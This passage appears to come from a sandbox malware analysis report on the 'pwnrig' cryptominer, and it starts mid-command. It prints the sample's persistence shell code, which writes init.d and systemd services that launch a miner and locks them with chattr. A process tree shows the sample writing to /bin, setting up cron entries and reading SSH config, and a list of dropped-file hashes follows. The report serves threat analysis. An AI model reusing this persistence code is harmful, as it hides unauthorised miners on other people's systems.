Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Writes file to tmp directory
PID:4790 -
/usr/bin/idid -u3⤵PID:4791
-
-
/usr/bin/idid -u3⤵PID:4792
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵PID:4793
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:4794
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:4795
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:4796
-
-
/usr/bin/idid -u3⤵PID:4797
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:4798
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:4799
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:4800
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:4755
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4757
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4762
-
/usr/bin/headhead -n 11⤵PID:4761
-
/usr/bin/grepgrep "Port "1⤵PID:4760
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4759
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4771
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4770
-
/usr/bin/cutcut -d: -f21⤵PID:4769
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:4768
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4774
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4777
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4780
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
48B
MD5eb6b211780ccbdfd5583bfaea0a795f5
SHA1f5283f40c9ca043cb9650bf86a02bfabceb917fe
SHA256d15ef39649f99788713d2eae56157e09210f38fe4e7f0fd93ff3d5fa603a29cf
SHA5123492353732983405f735c4e2b6ea4f42443c1ff724f81ad27c4d620024baecfc4c17f7a34594b6d3a47b95c55a73b654dbc636285578933069dac0140ce7e042
-
Filesize
49B
MD56771c610481450add99e3c542496039a
SHA17b9fa876a0d9ca5030c1425a068d094572fb76a1
SHA256814dd970272406fcb3bd4a9008cf46c878e312328dcfea9a1bd5713f2d14624a
SHA5121cd9e6cfa84fd583954ae91b9a51355473724335db0d71b73fbfe137083387a4081663ad7028497e095943bdb3028d812970921ea1f433584a5c0772c661caa0
-
Filesize
56B
MD58c859e42eefa73f61c0fb8d4f7c774b2
SHA16214fc948ec5a137e1354cb5a3b95c4b50ed3a63
SHA2565766ae1a918f0bd012824b8d48e5a6cd798ab58f11898cb7807761e1ad105486
SHA512249cbad473df1d75c20bca35d0bda38cde1bbaaf1fb82a71f41d33b4770d166411fcad7230e43bee3735c00e35df6e15852b3c6875fdf16ee6cc07eb1311fed7
-
Filesize
48B
MD5def1d7486172ba61e9598d53036a4ad9
SHA12c0ff59f49b0b97c560a4a18a6667c534d537945
SHA25652574d1100fe31c4d9641659df9e3a70c44fdff7ae121f2d285f5751da5d5cfc
SHA512c79e843a322fd8128c49a1af3acdfbe6a5cef11be325acdb4c493bd96f6a48e4ebafb219aa402a31efc25640a893fcef08fc3a3051a8d99c60801a37581e7857
-
Filesize
45B
MD5b054422799689ef51afd93e6dcada227
SHA1214f30c032926bef314b79a655bfac4fd6e594bf
SHA256641abe140afea25af088f566ec1688e4c26ba7ca96f56e642b11d5bb02a5933c
SHA512a45124aaf74accccf7b9e449d579f41bfd793003354c38e513113f8df4170093e568915fee3f7a166669346f1c24abf0fbfd319a6e5c35e24c1a962ba2fa70f6
-
Filesize
199B
MD5906980accf4b594d289d69ab3c2b212c
SHA107d5e5111fe11aa1aaa66c61dc4a3df74b3ec6dd
SHA2562e4d6729014e1722ea4839b574d63c0e17a72a99c7ff2fd73bbb981c3429d92c
SHA512467b5bffb60506600723b0b416393853d21bfeb19986537a492716a338de4deb2cfe414e62c047798d1ad3b945d1571f1286e6d9627f823f35e7704b0d095fb0
-
Filesize
196B
MD585af470e35a1ae54466bb6d33978ad92
SHA1d3a7f7639a62dd11db91fbcf55922e29b66f1935
SHA2560940db984b9b439904954693b7d2fd4dd9b295e1cb4c440b203b2e72a3aea0ba
SHA512a2702d6157fe0f475a04ff10d0860756e1aaa7c9ee0ff05ae51ef13c7d8cb358ddc85011557e37a142ec1803e5a8551dbfc873ffa85437e5e97bfdff89c18145
-
Filesize
335B
MD5631c4cbba9e4b1460406d10e565f782a
SHA1047d61155b9be60c794f80764247ef769c215e64
SHA256197b329bf9dbc8a79b5b8e1b71e63e07cd6536555bbc6523116a90cc307f9aa2
SHA5127f036a16230bb2112c764c3a412cf462cf2c03c3b863beb98073774f02e5906d72a1c52992ee5885bea745d771ab3ab20be15090656510982788204da450c446
-
Filesize
384B
MD515caeb685929dab65b1094f9e5c4b29f
SHA12b1141235c528d8ef5aba5ec6567441d04b2634f
SHA256ac406aa204b2dd2c018a98fdb2090f99821be750dae169f5ca13a080822ac8b0
SHA512590862dfff0c3537ea515f8caf28a658c5419140819232d396ce2f0063532d6bb8b6c808df775c3185e6f08f868154879c4980c5d14b38fa1fb2eaa3392a1c71
-
Filesize
381B
MD531fc62b7f5d35aac493ca5162b16f812
SHA123aae8aa6388120308c0bdacb66fee7ac8e8641b
SHA2560e36d48719109e697a24e8fe2f72239109f55071ae9c603f85301029fb09271d
SHA51269e99a9aaebd79746d04cb022107a4b813e4d9a806ba55e53d6493c9b3a893156a5518117dcf8e7d6cdae3e5598a56feff2b108e5707eea85cafcaddb6b7d776
-
Filesize
360B
MD55ef8bc6ff2b248c7603a5e7d9c232e8a
SHA101ab099d6781c8666e41501801f88658ddf17705
SHA2560174d066d6d45ddee8691cb84084efe3f0769f65932bd3ba373248df0ad42879
SHA512b32c120531f88e7cbfd1205761d098d4af57e227214c2a82ab78b83d376fe900b605ecea3ccc8f33c50b50fc2bd9c0e3caa960e4e235e47f5573a55cafceb86b
-
Filesize
3.9MB
MD5426155ff2d5a20f7164da55ff23cc94b
SHA171f5f60479f21702145008bb98c108a69ba8f34c
SHA256f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712
SHA512ae3c2dd95640d64a971a95af8a8aaf1effd150b0f8a37c46f902c991a66686c56210c8f2cf6ea00daa31c52731de6df2c4169b9279d387775b9d6c9739ecdc0b
-
Filesize
2.3MB
MD5b9f096559e923787ebb1288c93ce2902
SHA194851bcc8f9c651bcda0ff33d17356cb0b16cf12
SHA2561fcc2061f767574044ca1e97f92ca1d44ee0b35e0a796e3bd6a949ad4b1175e5
SHA512ce5f09737d0b7191e3b646ed6111bb0ce97544d280223f327c4f4cc652dc840fed639bc0462b88a7f87d071066e302be7980f14faca1f5e6e9bf732637db22be
-
Filesize
184KB
MD563a86932a5bad5da32ebd1689aa814b3
SHA1472548a4b8295182f6ba8641d74725c2250b7243
SHA2560013b356966c3d693b253cdf00c7fdf698890c9b75605be07128cac446904ad9
SHA5124631e014f77c683819ae34278625b21525d9fa0697e5376ff2babfd77af3ca609fb4a82cde2374f2c96b00dc52cdc34d7efdc40a7ee2609566a6b6e9e630f332
-
Filesize
388B
MD534bba0e0c7ab1c364409fc350fa37868
SHA1a362f6eb47fa0ae5973d1d3b72a20e3c727cbd56
SHA2567d3126408366c9a8813fac8aa2e970e18e837542209c38b751bdee68c06304e1
SHA512249b8608d3a89f9e2a075a6b8164457686a256665729d7e441cafcba35567dd157eeb5123221c8ee4377993907e0100bcd55888fb94a36b557074c0df2850b26
-
Filesize
385B
MD59297e32544b3f6f52346919c3dcc4d78
SHA1a817c64117b4cba178242bf99b008c094f836c7c
SHA256fb6251a22cfb915b67202de5f89f331f18559e09438a89914271fe51018a4311
SHA5128472916e8ed3c8cc7c8db00c2dbe6c103d18406deb6f2d3b7cdba2573cc843adff36a7814997a25f134a53434b8d9c87705d0a184534dae617b2e9b385763662
-
Filesize
220B
MD57bf2e3122a0cbf6a944dcef6575cf1a7
SHA1d2d9debba53bb246455610f6c4e9f5fa7ced9f3d
SHA2560900c782f3bf1fb64fd4d850d157b58aa8273e37c9b07994b7686a2ca58e813b
SHA5126e5412153233121769b6c8ee4cf8e3aa6a3ee2858634e334786df8ec43fba41080b680ff4e5a88a417a1d77a3e364ead0030dcbe3fed8b909983763fd9b0c33a
-
Filesize
231B
MD5f3ba7e1293ce0d0b13de5c0372dcb7d8
SHA182ccf46e2c6edb742da63a971a7c84c50162d45b
SHA2568b4edcffcf76b0f30a067ab7b5901c52453a6a8d2711b1bc76b12a09e12bf172
SHA5124c608b25e10b4b5c92e26731b2cf441fe24f7b57e3ee5e20ceb52de04cbfde100e79fd776d47f190b2baea7464bc213ec92e409eeaf8b8082d9b32fc1674ac37
-
Filesize
220B
MD5d73f02f6008e463c9989da4252c441ee
SHA1907ddfe36abe3988119595832073fab0bf34de7e
SHA2563cb411f51c6660b935cb55f8137bf73b7664ac9778cb04675426cd1a310992b3
SHA5124b0f03d11f06c1b486d49bf58d107a62cd5e74ffe027f679cc47e155ee6e933e19d3f2a9bcb1464ed890896a45fbec85260b57e5bfdd081330e4f83fd988a7c2
-
Filesize
223B
MD5de2d9746d5d2dc7e2a2643d700410ce9
SHA1dddc3ccd8312f20920e505803d857cddadef7b78
SHA256f990ba04fb8acf82907e38e30deff220d898f877eba56d9496a82af2ff792c37
SHA512cdec04a4cc908d9103c8ea6ed5b0c44ab5f4aaea3c648bc5a6e826fe4d093f0c3e940acee22da21c3004d9a186de18d284bfef0e1d867cc914ee58ed18c485b9
-
Filesize
223B
MD5204724374f2eda2b72a418f7b1c49ffa
SHA18f8482593035b75ee2ce4ad3512c24c7b0ad26c1
SHA256887a1ecb886f4951decd2394559b6c42b87f9553812d30704a03a0a5d02f9ef2
SHA51249b8bbd8569daad698e4e262a71be9bfff17a87d7ccd8e498228911dc34602a32730d4820b43c0afb212799b374f624e186e9793ba8f8cbb210c937d6910d017
-
Filesize
220B
MD5290dbd3e3716879a5abbb2bd859e84b3
SHA1fb4d62c4781deac1714b4baac0434999121ee3dd
SHA25649631146e71cf10bd5efbdd0b48a8f9a8e070b262c0cb0b9ea836ccefd6853b6
SHA512b638321f39237e8c65a72a408c07e6b93d921bb014527a651132b1e077905712d077d69977d90dc0e7ae2edf3391812386cfd2e42853fb451d813ea819fe90c1
-
Filesize
231B
MD54ec763642cd27add232e8f7be7216ab2
SHA1a9651c767a5690b8fca121ce4e506ac784b0c130
SHA256eb47ac14f068b747d6aefb13a80042c0bac8d1bbe34ea084cce20b2c77949941
SHA5128ca2c20f02e1f7df6233369fed4e9739ecd50f8cfa0d63ec80f4d261d913edbbc93f8d5b3ec604ae1b661615a2e3bd62024e82b32be7b3a8bfc16f1ed115fdc6
-
Filesize
223B
MD5dbc9f619ad37a2766a5b13a7ce4cbfe9
SHA10d5474b6e9071f8692ffbde55db92b6ca791393d
SHA256c7d35256a40efee86d751dc15785a971bc3e2d94b15e9c890b64d0888f46bf39
SHA5124447d44203464e4737bb6291497f471249dd6d92560e8e861d03192caa78233e173ec0ab4bbfc7e2406794165d876a5af65930e4e1ddeb96b4d26372fb0f0b7d
-
Filesize
224B
MD571cb83295840bd45f777567fc2bc334a
SHA16afd57ce6a4a0ce9144c5653b6ae0b81d9a44f2e
SHA2561e2f5cc20e41b94c3d98fd45578b844150cc5f754506251de36d7be9e284045f
SHA512d48eacf95c92ef2a472581819075c684b4045b30defadf323c947d8e8e7db38afb225f19ba09bb067ec6ba32bc78cee26deaa2f3415b6522897c498ce5dd3b0c
-
Filesize
413KB
MD54bfed263cc953ab5f2ca6f1f54deaea9
SHA1f5f3304f561078b8964f47a589f0d332d17d6490
SHA256890d9da5d54ccef2b06766a7a892f9d363a3121018e3548700866eb9a218f5fb
SHA5124e4aadc1171e364c9b9f05715891a9cfd3b34e980ec15fe1bcbb8565db1edf66aa4dcf216579ab26e3628ed453faa604d44cdbd9c84def786a2f67cff8c42a00
-
Filesize
1.7MB
MD5564379de6e43de944e7d05606f5f790d
SHA1134c33fa22fd69e207f189c7f83a7658b785684b
SHA2567b26d43aefe0b9518f94a6ae96485985f95242d346140f6e67220e28e56192e5
SHA5128ef7bbd8e87a095d82fc25c40f4e6e215a53e2abd6aaf42f1769e607524eb8bb62dd7d811bcda519c04cba800087328c037225fd755bca7602f25f13f2bea2f4